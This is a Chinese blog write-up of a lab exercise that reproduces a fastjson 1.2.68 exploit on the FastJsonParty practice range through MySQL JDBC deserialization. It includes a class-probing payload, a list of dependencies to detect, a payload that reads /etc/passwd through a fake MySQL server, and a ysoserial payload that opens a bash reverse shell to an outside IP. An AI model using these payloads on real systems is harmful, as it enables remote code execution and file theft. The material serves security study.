1268-jdbc
复现
靶场项目是 https://github.com/lemono0/FastJsonParty
版本
{
"@type": "java.lang.AutoCloseable"
回包:
{
"timestamp":"2024-01-31T09:45:27.342+0000","status":500,"error":"Internal Server Error","message":"syntax error, expect {, actual EOF, pos 0, fastjson-version 1.2.68","path":"/login"
}
看到在这个大版本下,首先的思路肯定是考虑文件写操作,就需要判断是否为JDK11或者存在commons-io等其他文件写入的依赖,但是该环境下都是不存在的。
除了文件写操作,还有一个利用更加简单且直接rce的方法:配合Mysql-JDBC反序列化打fastjson。
要求环境中存在JDBC的依赖,且对版本的要求也挺严格。 Mysql-JDBC在5、6、8下都存在相应的利用,所以就需要探测具体是什么版本。
依赖检测
利用Character转换报错
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}
依赖存在的回包:
{
"timestamp":"2024-01-31T09:57:13.698+0000","status":500,"error":"Internal Server Error","message":"can not cast to char, value : interface org.springframework.web.bind.annotation.RequestMapping","path":"/login"
}
依赖不存在的回包:
{
"timestamp":"2024-01-31T09:56:13.060+0000","status":500,"error":"Internal Server Error","message":"No message available","path":"/login"
}
依赖检测项目
org.springframework.web.bind.annotation.RequestMapping //SpringBoot
org.apache.catalina.startup.Tomcat //Tomcat
groovy.lang.GroovyShell //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources //C3P0
com.mysql.jdbc.Buffer //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
sun.nio.cs.GBK //JDK8
java.net.http.HttpClient //JDK11
org.apache.ibatis.type.Alias //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets // 存在commons-io,但不确定版本
org.apache.commons.io.file.Counters //commons-io-2.7-2.8
org.aspectj.ajde.Ajde //aspectjtools
利用
这里使用的是mysql-connect-8.x
对于mysql-connect的版本为8下限制条件很大,只有一个版本可用:8.0.19
拉取 https://github.com/fnmsd/MySQL_Fake_Server 下来。
python3 server.py
启动mysql-fake-server:
然后读取文件
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "10.30.0.84"
}
],
"slaves": [],
"properties": {
"host": "47.113.221.99",
"user": "fileread_/etc/passwd",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}
服务端收到了请求,并且读取了文件。
这里的话因为mysql-fake-server调用反序列化模块的原理是需要我们传入ysoserial工具然后执行命令获取数据并发送,但是在本身的ysoserial工具中并没有加入fastjson这条链的payload,所以需要在ysoserial中加入fastjson这条链。
上传到与server.py同目录即可读取。
ysoserial
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [
{
"host": "47.113.221.99"
}
],
"slaves": [],
"properties": {
"host": "47.113.221.99",
"user": "yso_FastJson1_bash -i >& /dev/tcp/47.113.221.99/9999 0>&1",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"allowLoadLocalInfile": "true"
}
}
}
}
标签:fastjson,cj,jdbc,com,1268,mysql,org,type
From: https://www.cnblogs.com/qianyuzz/p/17999898